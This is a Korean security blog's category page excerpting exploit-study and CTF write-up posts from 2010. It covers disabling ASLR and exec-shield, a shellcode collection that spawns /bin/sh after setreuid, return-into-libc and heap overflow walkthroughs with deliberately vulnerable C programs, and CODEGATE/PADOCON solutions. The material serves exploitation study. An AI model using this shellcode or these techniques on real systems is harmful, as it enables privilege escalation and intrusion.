[카테고리:] System

System 문제 환경 확인 및 설정

[랜덤 스택&라이브러리, 스택 실행권한 설정] 커널 2.6 부터 제공 (Default 값은 1)# sysctl -w kernel.randomize_va_space=0 (해제)# sysctl -w kernel.randomize_va_space=1 (랜덤 스택 & 라이브러리)# sysctl -w kernel.randomize_va_space=2 (랜럼 스택 & 라이브러리 & 힙)# sysctl -w kernel.exec-shield=0 (스택 실행권한 해제)# sysctl -w kernel.exec-shield=1 (스택 실행권한 설정) 시스템 시작할때 자동으로 설정하기위에 설정 명령을 /etc/sysctl.conf 안에 쓴 후 reboot …

Shellcode 모음

uid, gid 설정 및 실행 파일 설정 char shellcode[] = "\x31\xc0\xb0\x46\x66\xbb\x66\x02\x66\xb9\x66\x02\xcd\x80" // uid 614 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/tmp/go"; // /tmp/go 실행 int main() { printf("Length: %d bytes.\n'", strlen(shellcode)); (*(void(*)()) shellcode)(); return 0; } Universal setreuid() shellcode (출처 : http://hkpco.kr/paper/universal%20setreuid%20shellcode.txt) char shellcode[] = "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80" // setreuid( geteuid() , geteuid() ); "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"; // shellcode int main() { printf("Length: …

CODEGATE 2010 CHALLENGE 4, 5 (RTL)

http://www.vnsecurity.net/2010/03/codegate-2010-online-ctf-challenge-4-5-writeup/ 위 페이지를 참고하여 문제를 다시 한번 풀고 정리한 내용 입니다. RTL을 이해하는데 도움이 될 거 같네요… hugh@codegate-desktop:/tmp/by$ gdb -q easy Reading symbols from /tmp/by/easy…done. (gdb) b main Breakpoint 1 at 0x804850e (gdb) r Starting program: /tmp/by/easy Breakpoint 1, 0x0804850e in main () (gdb) x/x execl 0x1ea0c0 <execl>: 0x53565755 (gdb) q execl 주소를 확인하여 보면 …

CODEGATE 2010 CHALLENGE 4

http://coma.0x3f.net/uncategorized/codegate2010-ctf-level-4/ 위 사이트에 올라온 풀이를 보고 다시 한번 풀어 정리를 하여 보았다. 해당 문제를 통해 msfelfscan의 사용법과 core 파일 생성 및 디버깅 방법을 확인할 수 있었다. \xcc를 이용하여 흐름을 파악하는 과정은 정말 도움이 많이 될 거 같다. [byjjoon@ByJJoon CODEGATE]$ ulimit -c 50000 [byjjoon@ByJJoon CODEGATE]$ python -c "print 'A'*272" | ./easy Input: Segmentation fault (core dumped) …

RTL(Returning into libc) 스터디 – 1

OS : Red Hat Linux 9.0 환경 : 랜덤스택 RTL 기법은 실행이 불가능한 스택일 경우 가능한 공격입니다. 공격 방법은 우리가 원하는 주소를 libc의 특정 함수로 리턴시켜 원하는 행동을 하도록 하는 것입니다. 그럼 공격을 해보도록 하자. 타켓 파일은 아래와 같습니다. int main(int argc, char *argv[]) { char buffer[5]; strcpy(buffer, argv[1]); return 0; } 우선 gdb를 이용하여 …

64bit OS에서 OllyDBG 1.10 이용하기

최근에 OS를 64Bit를 깔았다가 뭔가 볼게 있어서 OllyDBG를 열어보니 이상하게 코드가 출력되어 나왔다. 이유는 64Bit OS 때문이였는데 이걸 어떻게 해결할 수 없을까 찾아보다 Olly Advanced 라는 플러그인에 있는 64비트 호환성 기능을 이용하여 해결할 수 있음을 알 수 있었다. Olly Advanced : http://www.openrce.org/downloads/details/241/Olly_Advanced 플러그인 설치 후 아래와 같이 설정을 하고 나니 정상적으로 코드가 나옴을 확인할 수 …

PADOCON 2010 Live Hacking 풀이

금일 파도콘 컨퍼런스에 가서 라이브 해킹 대회가 있어 msi님이랑 참여하여 우승을 하였습니다 😀 대회에 대한 자세한 풀이를 기록 합니다.. 1. 첫번째 문제 – Zeroboard XE 첫번째 문제는 Zeroboard XE 관련 문제 였습니다. 게시판에 이미지 파일을 하나 올려 확인한 결과 이미지 첨부파일이 위치하는 경로(/public_html/zbxe/files/attach/images)가 디렉토리 인덱싱이 가능한 것을 확인하였습니다. 따 라서 첨부파일이 위치하는 경로(/public_html/zbxe/files/attach/binaries)도 인덱싱이 될거라 …

PADOCON 2010 CTF – trililogy100 풀이

PADOCON 2010 CTF가 끝나고 system 문제를 못푼게 한이 되어 공부하고 나서 다시 풀어 기록을 남깁니다. Subject : trililogy100 Type : exploitme Examiner : padocon Point : 400 sshd server ip : 168.188.130.217 id : tril100 pw : 0x170x17 먼저 문제 서버의 환경을 확인 합니다. [tril100@cnuhansa ~]$ python -c "import os ; print os.uname()" ('Linux', 'cnuhansa.cnu.ac.kr', …

PADOCON 2010 CTF – karma100 풀이

PADOCON 2010 CTF가 끝나고 system 문제를 못푼게 한이 되어 공부하고 나서 다시 풀어 기록을 남깁니다. Subject : karma100 Type : exploitme Examiner : padocon Point : 400 ssh ip : 168.188.130.218 id : karma100 pw : 0x1738a731 먼저 접속을 하여 문제 서버의 환경을 확인해 보도록 하겠습니다. [karma100@padocon ~]$ python -c "import os ; print os.uname()" …

Heap 오버플로우 스터디

OS : Red Hat Linux 6.2 heap.c #include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]) { FILE *fd; // Allocating memory on the heap char *userinput = malloc(20); char *outputfile = malloc(20); if(argc < 2) { printf("Usage: %s <string to be written to /tmp/notes>\n", argv[0]); exit(0); } // Copy data into heap memory strcpy(outputfile, …